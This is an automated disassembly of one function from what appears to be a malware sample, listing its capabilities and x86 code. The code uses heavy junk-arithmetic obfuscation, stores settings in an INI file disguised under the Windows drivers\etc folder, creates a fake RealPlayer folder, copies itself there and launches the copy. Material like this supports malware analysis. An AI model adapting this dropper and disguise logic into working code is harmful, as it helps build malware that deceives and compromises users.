Function at 0x402260
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b20b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14c0
call fcn.00430ea0
mov eax, dword [0x45f540]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0xfbc], eax
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x814], bl
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], bl
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45dbd4]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [0x45dbdc]
mov esi, dword [0x45dbcc]
imul edi, edi, 0xdbb5
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xbf1fa759
imul esi
add edx, esi
sar edx, 0x10
add edi, edx
mov eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
shr eax, 0x1f
add eax, edi
add eax, edx
mov edi, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
add edi, edx
mov edx, esi
imul edx, edx, 0x14289
shr ecx, 0x1f
add ecx, edi
add ecx, edx
mov eax, 0x7f55e343
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push ebx
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], ebx
call fcn.00430e67
mov ecx, dword [0x45dbd4]
mov edi, eax
mov eax, 0x9524e185
imul ecx
add edx, ecx
add esp, 4
mov dword [ebp - 0xfb0], edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
mov esi, eax
sub esi, edx
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe0]
sar edx, 0x10
imul ecx, ecx, 0x14289
add esi, edx
mov eax, edx
mov edx, dword [0x45dbe4]
shr eax, 0x1f
imul edx, edx, 0x3f76
add eax, esi
add eax, ecx
mov ecx, dword [0x45dbcc]
add eax, edx
mov esi, eax
mov eax, 0x72c3c0b5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, edx
add eax, 0x11aa4
mov dword [0x45dbcc], eax
call fcn.00448793
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xfcc]
call fcn.004021b0
mov ecx, dword [ebp - 0xfcc]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
cmp al, bl
jne 0x402420
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402433
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x40365f
mov esi, dword [0x45dbdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea ebx, [edx + ecx]
imul ecx, ecx, 0x14373
mov eax, 0xca9db4d5
imul ebx, ebx, 0xdbb5
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, esi
imul ecx, ecx, 0x14289
add eax, ecx
mov ebx, eax
mov ecx, dword [0x45dbe0]
mov eax, 0x72c3c0b5
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
push str.C:WINDoWS_system32driversetc_s2er333vice9.ini
add eax, edx
push 0x100
sub ebx, eax
lea eax, [ebp - 0x114]
push eax
push 0x44de89
push str.RAND
lea edx, [ebx + ecx - 0x3f76]
push str.AAAAA
mov dword [0x45dbd4], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x45dbd4]
mov ebx, dword [0x45dbdc]
mov esi, dword [0x45dbcc]
imul ebx, ebx, 0xdbb5
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbf1fa759
imul esi
add edx, esi
sar edx, 0x10
add ebx, edx
mov eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
add ebx, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0x14289
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x7f55e343
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0x114]
push ecx
call fcn.00430e62
add esp, 4
test eax, eax
jle 0x40258c
lea edx, [ebp - 0x114]
push edx
call fcn.00430e62
add esp, 4
mov dword [ebp - 0xfb0], eax
jmp 0x4025bd
push edi
lea eax, [ebp - 0x114]
push 0x44db00
push eax
call fcn.00430831
add esp, 0xc
push str.C:WINDOWS_system32driversetc_s2er333vice9.ini
lea ecx, [ebp - 0x114]
push ecx
push str.RAND
push str.AAAAA
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x45dbe0]
mov edi, dword [0x45dbd4]
imul eax, eax, 0x14289
mov dword [ebp - 0xfc8], eax
mov eax, 0x9524e185
imul edi
add edx, edi
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xca9db4d5
imul edi
add edx, edi
sar edx, 0x10
mov ebx, edx
add ecx, edx
mov esi, dword [0x45dbe8]
shr ebx, 0x1f
imul esi, esi, 0x156ac
add ebx, ecx
mov ecx, dword [0x45dbe4]
mov edx, ecx
imul edx, edx, 0x3f76
add ebx, edx
mov edx, dword [0x45dbcc]
mov eax, 0x72c3c0b5
imul edx
sar edx, 0xe
add ebx, edx
mov eax, edx
mov edx, dword [ebp - 0xfc8]
shr eax, 0x1f
add eax, ebx
sub eax, esi
mov dword [ebp - 0xfc4], esi
sub eax, dword [str._r_____r____]
lea esi, [eax + edx + 0x11aa4]
mov eax, dword [ebp - 0xfb0]
cdq
mov ebx, 0x190
idiv ebx
mov dword [0x45dbcc], esi
mov ebx, edx
mov eax, edx
and eax, 0x80000001
mov dword [ebp - 0xfa8], ebx
jns 0x402676
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x402808
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbd0]
mov dword [ebp - 0xfb0], eax
lea eax, [edx + esi]
imul eax, eax, 0x10156
mov dword [ebp - 0xfac], eax
mov eax, 0x9524e185
imul esi
add edx, dword [0x45dbcc]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfac]
sub edx, eax
mov dword [ebp - 0xfac], edx
mov esi, dword [ebp - 0xfb0]
mov eax, 0xca9db4d5
imul ecx
mov eax, dword [ebp - 0xfac]
add edx, ecx
sar edx, 0x10
add eax, edx
mov ecx, edx
mov edx, dword [0x45dbdc]
shr ecx, 0x1f
imul edx, edx, 0x3f76
add ecx, eax
lea eax, [ebx - 1]
mov dword [ebp - 0xfac], eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x14373
mov dword [ebp - 0xfb4], eax
add edx, esi
mov esi, dword [0x45dbe0]
add edx, ecx
imul esi, esi, 0x8af5
mov ecx, dword [0x45dbc8]
lea eax, [ecx + edi]
mov edi, dword [0x45dbd8]
imul eax, eax, 0x8ec3
mov ecx, eax
add esi, edx
mov eax, 0xca9db4d5
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x39f7b4f
imul dword [str._r_____r____]
mov eax, ecx
sar edx, 0xa
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x7f55e343
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfb4]
sub ecx, eax
sub ecx, dword [ebp - 0xfb0]
add ecx, edx
mov dword [0x45dbdc], esi
mov dword [0x45dbe4], ecx
mov eax, dword [str._r_____r____]
add edi, eax
lea edx, [ebx + 1]
imul edi, edi, 0xdbb5
mov dword [ebp - 0xfb8], edx
mov eax, 0xca9db4d5
imul esi
add edx, esi
sar edx, 0x10
add edi, edx
mov eax, edx
mov edx, esi
imul edx, edx, 0x14289
shr eax, 0x1f
add eax, edi
add eax, edx
mov edi, eax
mov eax, 0x72c3c0b5
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe0]
sub edi, eax
add edi, dword [ebp - 0xfb4]
lea edi, [edi + edx - 0x3f76]
mov dword [0x45dbd4], edi
add ebx, 3
jmp 0x402937
mov eax, dword [0x45dbc8]
add eax, edi
imul eax, eax, 0x8ec3
mov dword [ebp - 0xfac], eax
mov esi, dword [0x45dbd8]
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
mov eax, dword [ebp - 0xfac]
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, eax
mov eax, 0xca9db4d5
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x14373
add eax, edx
mov dword [ebp - 0xfac], eax
mov eax, 0x39f7b4f
imul ecx
mov eax, dword [ebp - 0xfac]
sar edx, 0xa
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x7f55e343
imul esi
mov esi, dword [0x45dbe0]
sar edx, 0xf
imul esi, esi, 0x5556
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9524e185
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x32cc2d1b
imul dword [0x45dbd0]
sar edx, 0xe
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, eax
mov eax, dword [0x45dbc8]
imul eax, eax, 0x3f76
add esi, eax
mov eax, 0x8116582f
imul dword [0x45dbd0]
add edx, dword [0x45dbd0]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, eax
mov dword [0x45dbe4], ecx
mov dword [ebp - 0xfac], ebx
mov eax, 0x3af417
imul dword [0x45dbd0]
sar edx, 5
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x45dbdc]
lea edx, [ebx + 2]
mov dword [0x45dbc8], eax
mov dword [ebp - 0xfb8], edx
add ebx, 4
mov eax, 0xca9db4d5
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfb0], eax
mov eax, esi
imul eax, eax, 0xdbb5
mov dword [ebp - 0xfc0], eax
mov eax, 0xbf1fa759
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfc0]
sub edx, eax
mov dword [ebp - 0xfc0], edx
mov eax, 0xbf1fa759
imul dword [0x45dbcc]
add edx, dword [0x45dbcc]
mov eax, dword [ebp - 0xfc0]
sar edx, 0x10
add eax, edx
mov dword [ebp - 0xfb4], ebx
mov ebx, edx
mov edx, dword [0x45dbcc]
shr ebx, 0x1f
add ebx, eax
mov eax, edx
imul eax, eax, 0x14289
add ebx, eax
mov eax, 0x7f55e343
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfb0]
sub ebx, eax
mov eax, dword [ebp - 0xfc4]
add ebx, edx
mov edx, dword [ebp - 0xfb8]
add ebx, eax
mov eax, 0x190
cmp edx, eax
mov dword [str._r_____r____], ebx
jl 0x402a55
mov eax, 0x9524e185
imul edi
add edx, edi
sar edx, 0xf
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, ecx
imul edx, edx, 0x3f76
add edi, edx
mov eax, 0x72c3c0b5
imul dword [0x45dbcc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [ebp - 0xfc4]
add eax, edi
sub eax, edx
mov edx, dword [ebp - 0xfc8]
sub eax, ebx
add eax, edx
mov edx, dword [ebp - 0xfb0]
lea eax, [eax + edx + 0x11aa4]
mov edx, dword [ebp - 0xfa8]
dec edx
mov dword [0x45dbcc], eax
mov dword [ebp - 0xfb8], edx
mov edi, dword [0x45dbe8]
mov eax, 0x2fd0003
imul edi
mov eax, dword [0x45dbc8]
imul eax, eax, 0x14373
sar edx, 0xa
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, eax
mov eax, 0x32cc2d1b
imul edi
imul edi, edi, 0x3f76
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, edi
mov edi, dword [0x45dbe0]
mov eax, 0x72c3c0b5
imul edi
sar edx, 0xe
add ebx, edx
mov eax, edx
mov edx, edi
imul edx, edx, 0x8ec3
shr eax, 0x1f
add eax, ebx
mov ebx, dword [ebp - 0xfb0]
add eax, edx
mov edx, dword [ebp - 0xfb4]
sub eax, ebx
mov dword [0x45dbd8], eax
mov eax, 0x190
cmp edx, eax
jl 0x402b42
mov eax, dword [0x45dbd0]
imul esi, esi, 0x3f76
imul edi, edi, 0x8af5
mov edx, dword [0x45dbcc]
lea ebx, [eax + edx]
mov eax, 0x9524e185
imul ebx, ebx, 0x10156
imul edx
add edx, dword [0x45dbcc]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
add ecx, esi
add ecx, edi
mov dword [0x45dbdc], ecx
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push str.c:program_filesRealplayer
call edi
mov ecx, dword [0x45dbe4]
mov esi, dword [0x45dbe0]
mov eax, 0x9524e185
imul esi, esi, 0x5556
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x32cc2d1b
imul ecx
sar edx, 0xe
add esi, edx
mov ebx, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3f76
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x8116582f
imul ecx
add edx, ecx
sar edx, 0xd
mov esi, edx
add ebx, edx
mov eax, 0x3af417
imul ecx
shr esi, 0x1f
sar edx, 5
add esi, ebx
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x45dbc8], eax
mov eax, dword [ebp - 0xfac]
imul eax, eax, 0x25
lea esi, [eax + str.Installing]
push esi
lea ecx, [ebp - 0x214]
push str.c:program_filesRealplayer_s
push ecx
mov dword [ebp - 0xfc0], esi
call fcn.00430831
mov edx, dword [0x45dbd4]
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbe4]
lea ebx, [eax + edx]
mov eax, 0xbf1fa759
imul ebx, ebx, 0x8ec3
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45dbd8]
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub ebx, eax
mov eax, edx
imul eax, eax, 0x14373
add ebx, eax
mov eax, 0x39f7b4f
imul edx
add esp, 0xc
sar edx, 0xa
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x7f55e343
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0
lea edx, [ebp - 0x214]
sub ebx, ecx
push edx
mov dword [0x45dbe4], ebx
call edi
mov ecx, dword [0x45dbe4]
mov edi, dword [0x45dbe0]
mov eax, 0x9524e185
imul edi, edi, 0x5556
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x32cc2d1b
imul ecx
sar edx, 0xe
add edi, edx
mov ebx, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3f76
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x8116582f
imul ecx
add edx, ecx
sar edx, 0xd
mov edi, edx
add ebx, edx
mov eax, 0x3af417
imul ecx
mov ecx, dword [ebp - 0xfb8]
imul ecx, ecx, 0x25
sar edx, 5
add ecx, str.Installing
push ecx
shr edi, 0x1f
mov eax, edx
add edi, ebx
add edi, edx
push esi
shr eax, 0x1f
lea edx, [ebp - 0x214]
add eax, edi
push str.c:program_filesRealplayer_s_s.exe
push edx
mov dword [0x45dbc8], eax
call fcn.00430831
mov edi, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov eax, 0xca9db4d5
imul edi
add edx, edi
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x2fd0003
imul esi
sar edx, 0xa
mov ebx, edx
shr ebx, 0x1f
add esp, 0x10
add ebx, edx
mov eax, dword [0x45dbc8]
imul eax, eax, 0x14373
add ebx, eax
mov eax, 0x32cc2d1b
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, esi
imul esi, esi, 0x156ac
imul edx, edx, 0x3f76
sub ebx, edx
mov eax, 0x72c3c0b5
imul dword [0x45dbe0]
sar edx, 0xe
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [0x45dbe0]
imul eax, eax, 0x8ec3
add ebx, eax
sub ebx, ecx
mov eax, 0xbf1fa759
imul edi
mov dword [0x45dbd8], ebx
mov ebx, dword [0x45dbdc]
add edx, edi
imul ebx, ebx, 0xdbb5
mov edi, dword [0x45dbcc]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbf1fa759
imul edi
add edx, edi
sar edx, 0x10
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, edi
imul edx, edx, 0x14289
add eax, esi
add eax, edx
mov ebx, eax
mov eax, 0x7f55e343
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [ebp - 0xfac], 0
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x114]
push 0x8000
push edx
call fcn.0043d7a1
mov esi, dword [0x45dbd4]
mov edi, eax
mov eax, 0x9524e185
imul esi
add edx, esi
add esp, 0xc
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
mov ecx, eax
sub ecx, edx
mov eax, 0xca9db4d5
imul esi
mov eax, dword [0x45dbe0]
add edx, esi
imul eax, eax, 0x14289
sar edx, 0x10
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45dbe4]
imul ecx, ecx, 0x3f76
add ebx, eax
add ebx, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x72c3c0b5
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
mov ebx, dword [str._r_____r____]
sub ecx, ebx
add ecx, 0x11aa4
cmp edi, 0xffffffff
mov dword [0x45dbcc], ecx
je 0x4031ca
mov ecx, dword [0x45dbdc]
mov edx, dword [0x45dbd8]
lea esi, [edx + ebx]
imul ebx, ebx, 0x14373
mov eax, 0xca9db4d5
imul esi, esi, 0xdbb5
imul ecx
add edx, ecx
sar edx, 0x10
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x14289
shr eax, 0x1f
add eax, esi
add eax, ebx
add eax, edx
mov esi, eax
mov eax, 0x72c3c0b5
imul ecx
mov ecx, dword [0x45dbe0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0x100000
sub esi, eax
lea edx, [esi + ecx - 0x3f76]
push 0x4604c0
push edi
mov dword [0x45dbd4], edx
call fcn.0043c3ae
push edi
mov ebx, eax
call fcn.0043c544
add esp, 0x10
cmp ebx, 0x2800
jle 0x4031be
mov ecx, dword [0x45dbcc]
mov eax, dword [0x45dbd0]
lea esi, [eax + ecx]
mov eax, 0x9524e185
imul esi, esi, 0x10156
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
mov ecx, dword [0x45dbdc]
sar edx, 0x10
imul ecx, ecx, 0x3f76
shr edi, 0x1f
mov eax, edx
add edi, esi
add edi, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x8af5
shr eax, 0x1f
add eax, edi
add eax, ecx
add eax, edx
push 0
mov dword [0x45dbdc], eax
call fcn.00430e67
push eax
push 0x44db00
push 0x4607c0
call fcn.00430831
push 0x180
lea eax, [ebp - 0x214]
push 0x8302
push eax
call fcn.0043d7a1
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x40306f
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403030
sub eax, edx
lea ecx, [ebp + eax - 0x218]
push str.s.exe
push ecx
call fcn.00430831
push 0x180
lea edx, [ebp - 0x214]
push 0x8302
push edx
call fcn.0043d7a1
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x4031be
mov eax, dword [0x45dbd4]
mov ecx, dword [0x45dbc8]
lea edi, [ecx + eax]
mov ecx, dword [0x45dbe4]
imul edi, edi, 0x8ec3
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd8]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
mov eax, edx
imul eax, eax, 0x14373
add edi, eax
mov eax, 0x39f7b4f
imul edx
sar edx, 0xa
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x7f55e343
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
push ebx
add ecx, edx
sub edi, ecx
push 0x4604c0
push esi
mov dword [0x45dbe4], edi
call fcn.00439d86
push 2
push 0
push esi
call fcn.00439b1f
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45dbe4]
mov edi, dword [0x45dbe0]
mov eax, 0x9524e185
imul edi, edi, 0x5556
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x32cc2d1b
imul ecx
sar edx, 0xe
mov ebx, edx
add edi, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3f76
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x8116582f
imul ecx
add edx, ecx
sar edx, 0xd
mov edi, edx
add ebx, edx
mov eax, 0x3af417
imul ecx
mov ecx, dword [ebp - 0xfb8]
shr edi, 0x1f
sar edx, 5
add edi, ebx
mov eax, edx
add edi, edx
push ecx
lea edx, [ebp - 0xe14]
shr eax, 0x1f
push edx
add eax, edi
push esi
mov dword [0x45dbc8], eax
call fcn.00439d86
push esi
call fcn.0043c544
add esp, 0x28
mov dword [ebp - 0xfac], 1
mov ecx, dword [0x45dbcc]
mov esi, dword [0x45dbd4]
mov eax, dword [0x45dbe8]
imul eax, eax, 0x156ac
mov ebx, dword [0x45dbc8]
mov dword [ebp - 0xfc4], eax
imul ebx, ebx, 0xdbb5
mov eax, dword [0x45dbd8]
mov edi, dword [0x45dbdc]
imul eax, eax, 0x156e6
add ebx, eax
mov eax, 0xbf1fa759
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x8116582f
imul dword [0x45dbd8]
add edx, dword [0x45dbd8]
sar edx, 0xd
add ebx, edx
mov eax, edx
mov edx, dword [0x45dbd0]
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x45dbe4]
mov dword [ebp - 0xfa8], eax
mov eax, 0x39f7b4f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub edx, eax
mov eax, dword [ebp - 0xfac]
sub edx, ebx
cmp eax, 1
mov ebx, dword [ebp - 0xfc4]
lea edx, [edx + ebx - 0x3f76]
mov dword [0x45dbd0], edx
jne 0x403650
mov eax, 0xbf1fa759
imul edi, edi, 0xdbb5
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [ebp - 0xfa8], eax
mov eax, 0xca9db4d5
imul esi
mov eax, dword [ebp - 0xfa8]
add edx, esi
sar edx, 0x10
add eax, edx
mov esi, edx
mov edx, ecx
imul edx, edx, 0x14289
shr esi, 0x1f
add esi, eax
add esi, edx
mov eax, 0x7f55e343
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x214]
push ecx
sub esi, eax
lea edx, [ebp - 0x114]
push str._s__33201_
add esi, ebx
push edx
mov dword [str._r_____r____], esi
call fcn.00430831
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1010]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45dbd4]
mov eax, 0x9524e185
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
mov edi, dword [0x45dbe0]
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
mov esi, eax
sub esi, edx
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe4]
mov eax, edi
imul ecx, ecx, 0x3f76
imul eax, eax, 0x14289
sar edx, 0x10
mov ebx, edx
shr ebx, 0x1f
add esi, edx
add ebx, esi
add ebx, eax
add ebx, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x72c3c0b5
add esp, 0xc
imul ecx
mov dword [ebp - 0x1010], 0x44
mov ecx, dword [str._r_____r____]
mov esi, dword [0x45dbdc]
sar edx, 0xe
add ebx, edx
mov eax, edx
mov edx, dword [0x45dbd8]
shr eax, 0x1f
add eax, ebx
sub eax, ecx
add eax, 0x11aa4
mov dword [0x45dbcc], eax
lea ebx, [edx + ecx]
imul ecx, ecx, 0x14373
mov eax, 0xca9db4d5
imul ebx, ebx, 0xdbb5
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, esi
imul ecx, ecx, 0x14289
add eax, ecx
mov ebx, eax
mov eax, 0x72c3c0b5
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebp - 0x1020]
push edx
lea eax, [ebp - 0x1010]
push eax
push 0
push 0
push 0x20
push 0
push 0
lea ecx, [ebx + edi - 0x3f76]
mov dword [0x45dbd4], ecx
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [ebp - 0xfe4], 1
mov word [ebp - 0xfe0], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4034d0
mov ecx, dword [0x45dbcc]
mov edx, dword [0x45dbd0]
lea esi, [edx + ecx]
mov eax, 0x9524e185
imul esi, esi, 0x10156
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0xca9db4d5
imul ecx
mov eax, dword [0x45dbe0]
add edx, ecx
imul eax, eax, 0x8af5
shr edi, 0x1f
sar edx, 0x10
add edi, esi
mov ecx, edx
add edi, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x3f76
shr ecx, 0x1f
